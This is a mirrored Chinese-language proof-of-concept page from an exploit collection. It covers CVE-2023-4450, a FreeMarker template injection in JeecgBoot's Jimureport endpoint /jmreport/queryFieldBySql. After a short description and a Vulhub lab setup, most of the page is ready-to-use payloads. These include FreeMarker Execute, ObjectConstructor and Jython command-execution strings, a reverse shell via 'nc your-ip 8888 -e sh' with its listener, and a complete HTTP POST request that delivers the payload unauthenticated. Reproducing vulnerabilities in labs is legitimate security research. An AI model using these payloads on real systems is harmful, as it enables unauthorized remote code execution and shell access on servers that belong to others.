mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-05 10:50:23 +00:00
73 lines
2.1 KiB
Markdown
73 lines
2.1 KiB
Markdown
|
|
# JeecgBoot SSTI CVE-2023-4450
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
JeecgBoot 是一个开源的低代码开发平台,Jimureport 是低代码报表组件之一
|
|||
|
|
|
|||
|
|
当前漏洞在 1.6.1 以下的 Jimureport 组件库中都存在. 由于未授权的 API `/jmreport/queryFieldBySql` 使用了 freemarker 解析 SQL 语句从而导致了 RCE 漏洞的产生.
|
|||
|
|
|
|||
|
|
参考链接:
|
|||
|
|
|
|||
|
|
- https://www.oscs1024.com/hd/MPS-4hzd-mb73
|
|||
|
|
- https://www.reajason.eu.org/writing/freemarkersstimemshell
|
|||
|
|
- https://github.com/jeecgboot/JimuReport
|
|||
|
|
|
|||
|
|
## 环境搭建
|
|||
|
|
|
|||
|
|
Vulhub 执行如下命令启动 3.5.3 版本的 JeecgBoot 后端:
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
docker compose up -d
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
在服务启动后,可访问 `http://your-ip:8080/jeecg-boot/jmreport/list` 积木工作台页。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
点击新建图表 → 选择 SQL 数据集 → 报表 SQL 中填写 Payload → 点击 SQL 解析。
|
|||
|
|
|
|||
|
|
poc:
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("nc your-ip 8888 -e sh")}
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc").start ()}
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
others(https://mp.weixin.qq.com/s/eT32vnk_8anS3e-2B287cA):
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
{"sql":"<#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"calc.exe\")}","dbSource":"","paramArray":"","type":""}
|
|||
|
|
|
|||
|
|
#sql的其它可用poc:
|
|||
|
|
<#assign
|
|||
|
|
value=\"freemarker.template.utility.ObjectConstructor\"?new()>${value(\"java.lang.ProcessBuilder\",\"calc.exe\").start()}
|
|||
|
|
|
|||
|
|
#jython的调用需要满足目标类路径中包含org.python的包,本地复现时引入jython-standalone可正常执行命令
|
|||
|
|
<#assign
|
|||
|
|
value=\"freemarker.template.utility.JythonRuntime\"?new()><@value>import os;os.system(\"calc.exe\")</@value>
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
反弹 shell,使用 nc 开启监听端口 8888:
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
nc -vvl 8888
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
通过 `http://your-ip:8080/jeecg-boot/jmreport/queryFieldBySql` sql 参数传递 freemarker payload。
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
|
|||
|
|
Host: your-ip:8088
|
|||
|
|
Content-Type: application/json
|
|||
|
|
|
|||
|
|
{
|
|||
|
|
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"nc your-ip 8888 -e sh\")}",
|
|||
|
|
"type": "0"
|
|||
|
|
}
|
|||
|
|
```
|